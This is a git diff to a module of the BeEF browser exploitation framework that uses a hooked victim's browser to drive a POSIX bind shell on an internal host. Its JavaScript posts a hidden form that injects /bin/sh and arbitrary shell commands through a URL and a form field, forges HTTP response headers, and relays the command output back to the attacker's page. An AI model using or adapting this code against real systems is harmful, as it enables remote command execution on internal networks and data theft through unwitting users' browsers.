diff --git a/modules/ipec/inter_protocol_posix_bindshell/command.js b/modules/ipec/inter_protocol_posix_bindshell/command.js index 0babf4451..f8c661234 100644 --- a/modules/ipec/inter_protocol_posix_bindshell/command.js +++ b/modules/ipec/inter_protocol_posix_bindshell/command.js @@ -31,7 +31,7 @@ beef.execute(function() { // send a request function send_cmds(ip, port, cmd, size) { - var action = "http://" + ip + ":" + port + "/index.html?&/bin/sh&&"; + var action = "http://" + ip + ":" + port + "/index.html?&/bin/sh;"; var parent = window.location.href; // create form @@ -46,13 +46,13 @@ beef.execute(function() { myExt = document.createElement("INPUT"); myExt.setAttribute("id",<%= @command_id %>); myExt.setAttribute("name",<%= @command_id %>); - myExt.setAttribute("value","echo -e HTTP/1.1 200 OK\\\\r;echo -e Content-Type: text/html\\\\r;echo -e Content-Length: "+(34+cmd.length+52+parent.length+115+size*1)+"\\\\r;echo -e Keep-Alive: timeout=5,max=100\\\\r;echo -e Connection: keep-alive\\\\r;echo -e \\\\r;echo \"
\";(" + cmd + ")|head -c "+size+" ; "); + myExt.setAttribute("value","echo -e HTTP/1.1 200 OK\\\\r;echo -e Content-Type: text/html\\\\r;echo -e Content-Length: "+(34+cmd.length+52+parent.length+110+size*1)+"\\\\r;echo -e Keep-Alive: timeout=5,max=100\\\\r;echo -e Connection: keep-alive\\\\r;echo -e \\\\r;echo \"
\";(" + cmd + ")|head -c "+size+" ; "); // TODO Calculate Content-Length without hardcoded sizes myform.appendChild(myExt); // Adding puffer space for the command result end_talkback=" echo -e \"__END_OF_POSIX_IPC<%= @command_id %>__
window.location='"+parent+"#ipc_result='+encodeURI(document.getElementById(\\\"ipc_content\\\").innerHTML);"; while(--size) end_talkback+=" "; - end_talkback+="\" \\\\r ; exit"; + end_talkback+="\" \\\\r ;"; // post js to call home and close connection